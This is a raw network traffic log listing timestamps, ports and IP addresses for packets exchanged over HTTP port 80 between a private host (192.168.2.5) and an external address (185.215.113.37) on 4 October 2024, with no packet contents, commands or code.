Oct 4, 2024 05:45:09.961565971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961580038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961580992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961595058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961596966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961612940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961630106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961637974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961637974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961644888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961659908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961671114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961675882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961687088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961693048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961703062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961708069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961719036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961730957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961735964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961745977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961754084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961760998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961776018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961777925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961791039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961801052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961801052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961806059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961819887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961822033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961836100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961848021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961853981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961865902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961869001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961883068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961884022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961916924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961935043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.961966991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961982012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.961994886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962008953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962012053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962023973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962035894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962035894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962038040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962052107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962054968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962066889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962071896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962090015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962114096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962114096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962131977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962192059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962207079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962222099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962236881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962239027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962265015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962265015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962284088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962296963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962311983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962316990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962327003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962341070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962356091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962356091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962357044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962372065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962374926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962393999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962395906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962409973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962412119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962424994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962439060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962447882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962472916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962493896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962496996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962512016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962527037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962541103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962554932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962554932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962554932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962569952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962574005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962589979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962621927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962632895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962647915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962661982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962675095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962683916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962690115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962704897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962711096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962711096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962719917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962728977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962749004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962755919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962770939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962784052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962785006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962799072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962806940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962816000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962830067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962836981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962853909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962869883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962872028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962882996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962891102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962898970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962912083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962913036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962928057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962941885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962956905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962958097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962958097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.962984085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.962997913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963001966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963028908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963047981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963068008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963082075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963097095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963110924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963116884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963126898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963140965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963140965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963140965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963160038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963177919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963186026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963195086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963201046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963217020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963217020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963232040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963232994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963251114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963272095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963274002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963274002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963285923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963299990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963305950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963315010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963329077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963340998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963344097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963357925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963357925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963373899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963375092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963398933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963408947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963413954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963442087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963449955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963464975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963475943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963479996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963495016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963495016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963509083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.963524103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963547945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963587046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.963710070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.965570927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.069436073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.074589014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296344995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296375036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296397924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296413898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296430111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296442986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296457052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296489954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296493053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296509027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296524048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296530008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296540022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296555996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296569109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296571016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296586037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296602011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296610117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296614885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296628952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296631098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296664953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296670914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296678066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296701908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296706915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296721935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296734095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296741009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296757936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296772957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296777010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296787977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296794891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296802044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296813965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296828985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296835899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296854019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296868086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296873093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296885967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296897888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296911001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296911001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296926022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296937943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296938896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296952009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296962023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296967983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.296989918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.296993971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297009945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297024965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297032118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297039986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297053099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297065973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297069073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297089100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297096968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297111034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297111988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297127008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297138929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297149897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297167063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297180891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297190905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297193050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297207117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297220945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297221899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297234058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297246933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297261953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297264099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297277927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297302961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297303915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297317028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297326088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297331095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297346115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297347069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297359943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297373056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297384977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297389984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297415972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297429085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297429085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297441959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297446966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297456980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297468901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297485113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297491074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297507048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297522068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297525883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297537088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297548056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297553062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297568083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297575951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297610044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297620058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297641039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297641993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297657967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297671080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297677040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297687054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.297693968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297722101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.297756910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429409027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429445028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429467916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429481983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429497957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429512024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429514885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429516077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429543018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429555893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429569960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429584980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429590940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429590940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429599047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429610968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429625988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429637909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429649115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429662943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429672003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429675102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429691076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429701090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429707050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429757118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429758072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:10.429771900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:10.429795027 CEST	80	49704	185.215.113.37	192.168.2.5
